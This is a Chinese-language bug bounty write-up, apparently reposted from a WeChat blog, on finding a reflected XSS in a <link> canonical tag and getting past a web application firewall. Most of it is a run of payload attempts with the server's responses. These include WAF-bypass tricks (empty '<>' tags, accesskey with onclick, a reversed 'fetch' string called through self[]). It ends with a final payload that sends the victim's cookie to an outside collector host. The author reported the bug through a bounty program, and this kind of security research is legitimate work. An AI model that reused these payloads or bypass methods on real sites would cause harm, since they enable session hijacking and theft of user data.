这一切都始于使用 nuclei 的扫描,该扫描显示以下端点中反映了 XSS 漏洞:“https://redacted.tld/path/path/uuid%22%3E%3C667711%3E/u-u-i-d”。然而,事实证明这是一个误报。nuclei 生成的有效负载反映在 <link> 和 <meta> 标记上,并作为已筛选为 HTML 实体的 JavaScript 变量值输入。此外,当输入的 payload 包含双引号 (“) 时,还有一个转义机制,使得无法使用反射的 payload 关闭现有标签。
立即,我想起了平台 X 上的某人,他发布了有关使用带有双引号和空格 (“ ) 的 XSS 有效负载的帖子,这些有效负载可以在网页上呈现为 HTML 标签上的新属性 [1]。例如,如果插入了有效负载 “testattr=”,它将成为有效的新属性:<link rel=“canonical” href=“https://redacted.tld/path/path/ uuid” testattr=“/uuid” />
此时,我们应该已经知道我们要去哪里了。没错,我们可以使用 onclick、onload、onerror 等属性。但是,由于这与 <link> 标签有关,因此我找到的唯一可以用作事件处理程序的属性是 onclick [2]。
我从最简单的开始编译有效负载,如下所示:
Payload | Response " onclick=" > forbidden " onx=xx onclick=" > forbidden " onx="xx > <link rel="canonical" href="https://../path/path/uuid" onx="xx/uuid" /> " autofocus onclick=" > forbidden “ x=onclick=” > Notfound > it will redirect to here https://.../path/path/xxx%22%20x=%20& The payload after the & symbol will be lost and make the url invalid " x> onclick="tes > <link rel="canonical" href="https://../path/path/uuid" x> onclick="tes/uuid" />
上面的有效负载成功绕过了 waf,但是当属性不是读取为 html 而是 text 时,onclick 会做什么。看到响应,<meta> 标签成功关闭,如果我们在 x> 之后创建一个新标签怎么办?
我们尝试使用负载 “ x><img> onclick=”x,哈哈立即禁止(与 waf 战斗)。我心中的 Waf:
如果使用“ x><> onclick=”x,它在 html 响应中导致新行为,'><>' 字符将变为 HTML 实体,WAF 被绕过,onclick 成为有效属性,该怎么办。魔法!有了 <>我们设法绕过了 WAF?。
是的,那么我们只需要一点调味料,让它变成一个完美煮熟的有效载荷,这样 onclick 就可以工作了。我们尝试使用以下有效负载:
" ><> accesskey="x" onclick="alert" x" Resp : <link rel="canonical" href="https://../path/path/uuid" x><> accesskey="x" onclick="alert" x"/uuid" /> " ><> accesskey="x" onclick="alert()" x" > Forbidden " ><> accesskey="x" onclick="alert``" x" > Forbidden " ><> accesskey="x" onclick="prompt()" x" > Forbidden " ><> accesskey="x" onclick="prompt``" x" > Forbidden " ><> accesskey="x" onclick="console.log(1)" x" > Forbidden " ><> accesskey="x" onclick="fetch()" x" > Forbidden " ><> accesskey="x" onclick="console.error(1)" x" > Resp : <link rel="canonical" href="https://../path/path/uuid" x><> accesskey="x" onclick="console.error(1)" x"/uuid" /> " ><> accesskey="x" onclick="console.error(cookie)" x" > Resp : <link rel="canonical" href="https://../path/path/uuid" x><> accesskey="x" onclick="console.error(cookie)" x"/uuid" />
上述两种负载都有效,但请稍等。如果我们只报告这一点,它将被视为 Self XSS。那么,我们如何向攻击者发送来自受害者的信息,例如 cookie、localStorage 或其他数据呢?我们可以使用 fetch,但这也是被禁止的。我问过朋友,我放弃了,最后以“这种情况很有可能进行进一步的攻击,创造完整的有效载荷只是时间问题”为借口报告了 XSS。
我证明了这一说法,在等待报告回复的同时,我监控了 X 2-3 天,以获取 XSS 有效载荷绕过 waf 的更新。直到我发现有人通过文本反向成功绕过 WAF 发帖[3]。我也尝试了同样的事情,在这里我们设法获取了。
下一步尚未完成,下一步是创建一个完整的有效负载,通过包含 cookie 向攻击者的域发出请求。此外,请确保使用“//”或“https://”格式在攻击者的域中包含协议来执行正确的获取。但这里有一个挑战,所以当有效负载中有 '/' 时,它将使页面未被发现,因为 '/' 之后的 uuid 被认为是无效的。
最后,我想起了我们可以使用 JavaScript 访问当前 URL、域和路径等信息,例如使用 document.domain 或其他。然后,我想到如何使用 JavaScript 创建字符 'https://' ?[4]. 我已经找到了参考,所以这是最终的有效负载,可用于使用 fetch 窃取受害者的 cookie/localstorage。
Payload : " <> accesskey="x" onclick="x='hctef'.split('').reverse().join('');self[x](location.origin.split(location.host)[0]+'leakinformation.free.beeceptor.com'+location.pathname[0]+'cookie='+cookie);" x" Resp : <link rel="canonical" href="https://../path/path/uuid" <> accesskey="x" onclick="x='hctef'.split('').reverse().join('');self[x](location.origin.split(location.host)[0]+'leakinformation.free.beeceptor.com'+location.pathname[0]+'cookie='+cookie);" x"/uuid" />
完成后,我在报告注释中重新提交了有效负载,但不幸的是它被标记为重复。没关系。
结论
您需要了解这些条件并不总是局限于反射的 XSS 和 <link> 标签。还有存储型 XSS 的可能性,其中网站通常会重复使用用户输入作为输出来填充属性值,例如 title、alt、src、id、name 等。这允许 inject payload 作为 HTML 中的新属性。你永远不知道他们(开发人员)什么时候会错过清理复杂的系统,祝你好运,猎人!
谢谢你,下一个故事见。
参考:
[1] XSS 提示:尝试注入空格!它们有时会在 HTML 属性中变成 ”。https://x.com/comores_11/status/1841874109677907971
[2] 实验:规范链接标签中的反射型 XSS。https://portswigger.net/web-security/cross-site-scripting/contexts/lab-canonical-link-tag
[3] 如果 WAF 不允许以任何方式创建像 'alert' 或 'confirm' 这样的 JavaScript 术语,请将其倒置,然后将 reverse() 与 self[] 一起使用。https://x.com/erickfernandox/status/1845901672414945283
[4] 从 URL 获取协议、域和端口。https://stackoverflow.com/questions/6941533/get-protocol-domain-and-port-from-url
原文始发于微信公众号(安全狗的自我修养):反射型 XSS 绕过 WAF & Page 未找到
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论